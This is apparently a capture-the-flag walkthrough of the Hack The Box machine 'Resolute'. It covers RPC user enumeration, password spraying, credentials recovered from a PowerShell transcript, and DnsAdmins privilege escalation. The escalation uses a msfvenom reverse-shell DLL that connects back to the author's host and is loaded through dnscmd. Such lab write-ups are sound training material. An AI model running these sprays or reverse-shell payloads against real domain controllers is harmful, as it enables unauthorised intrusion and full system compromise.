

# Resolute

at this machine we enum through rpcclient found hardcoded creds and by check the user it change it so trying password spray attack found an user keep this password so we get in and got first flag then find credentials in ps script file , this user in dns admin group so we can abuse this and upload dll file and config it to dns then get reverse shell back with system priv

lets start by recon

```
(root@meow) ~/htb/resolute
# nmap 10.129.96.155 -sV -sC
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 15:12 EDT
Nmap scan report for 10.129.96.155 (10.129.96.155)
Host is up (1.4s latency).
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2023-08-07 19:19:41Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds     Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h27m00s, deviation: 4h02m32s, median: 6m59s
|_smb2-security-mode:
|   311:
|_   Message signing enabled and required
|_smb2-time:
|   date: 2023-08-07T19:19:54
|_   start_date: 2023-08-07T19:13:12
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_   message_signing: required
|_smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\X00
|   Domain name: megabank.local
|   Forest name: megabank.local
|_   FQDN: Resolute.megabank.local
```

while check smb with anonymous login there is no workgroups available

to by enum with rpcclient `rpcclient -N -U "" 10.129.96.155`

```
(root@meow)-[~/htb/resolute]
# rpcclient -N -U "" 10.129.96.155
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claire] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
```

and check if any message leaved here with `querydispinfo`

```

rpcclient $> querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)

```

nice we got password now , but by checking this user it may that it changed

so i think that may user have this password so lets do password spray attack

by get list of the users while doing rpcclient and using crackmapexec we can do this

```
crackmapexec smb 10.129.96.155 -u users -p 'Welcome123!'
```

```

(root@meow)-[~/htb/resolute]
# crackmapexec smb 10.129.96.155 -u users -p 'Welcome123!'
SMB 10.129.96.155 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.96.155 445 RESOLUTE [+] megabank.local\melanie:Welcome123!

```

nice we got user

```

(root@meow)-[~/htb/resolute]
# crackmapexec winrm 10.129.96.155 -u melanie -p 'Welcome123!'
SMB 10.129.96.155 5985 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)
HTTP 10.129.96.155 5985 RESOLUTE [*] http://10.129.96.155:5985/wsman
WINRM 10.129.96.155 5985 RESOLUTE [+] megabank.local\melanie:Welcome123! (Pwn3d!)

```

and we can get in with winrm

```
(root@meow)-[~/htb/resolute]
# evil-winrm -i megabank.local -u melanie -p Welcome123!

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function
is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-
path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> dir
```

```
*Evil-WinRM* PS C:\Users\melanie\desktop> dir

Directory: C:\Users\melanie\desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            8/7/2023 12:14 PM             34 user.txt

*Evil-WinRM* PS C:\Users\melanie\desktop> type user.txt
ab9959830041b053d463364955ce1737
```

and we got first flag

by some enum found `transcript` in hidden directory so we get it and found that it have hardcoded creds for ryan

```
(root@meow) [~/htb/resolute]
# cat PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*****
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmpvhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
Command start time: 20191203063455
*****
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@','$env:computername',' ',$(gi $pwd).Name),'> '"
if ($?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
*****
Command start time: 20191203063455
*****
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
*****
Command start time: 20191203063515
*****
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!"
```

and we can log with it by winrm

by enum this user groups

```
+Evil-winrm* PS C:\Users\ryan\desktop> whoami /groups

GROUP INFORMATION
-----
Group Name                                     Type                SID                Attributes
-----
Everyone                                     Well-known group    S-1-1-0            Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias               S-1-5-32-545       Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access   Alias               S-1-5-32-554       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias               S-1-5-32-580       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                         Well-known group    S-1-5-2            Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users             Well-known group    S-1-5-11           Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group    S-1-5-15           Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                        Group               S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                          Alias               S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication             Well-known group    S-1-5-64-10        Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level      Label               S-1-16-8192
```

its member of dnsAdmins <https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2> with this article we can get system

so lets first make dll file with msfvenom `msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.25 LPORT=9001 -f dll > shell.dll`

```
(root@meow) [~/htb/resolute]
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.25 LPORT=9001 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
```

then open smbserver with `impacket-smbserver share ./`



then lets do this commands in ryan

```
dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.16.25\share\shell.dll
```

```
sc.exe stop dns
```

```
sc.exe start dns
```

[illegible]

after restart the service we find this from smbserver and ...

```
(root@meow)-[~/htb/resolute]
# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.131.183] 50776
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

we got reverse shell back with system 🙌

```
C:\Users\Administrator\Desktop>type root.txt
type root.txt
8b9ced20c162bf0f7fb1c3f490640edc
```

and got root flag , thx for reading ^-^

for more reading : <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying>

<https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration>

<https://shellgeek.com/powershell-show-hidden-files/>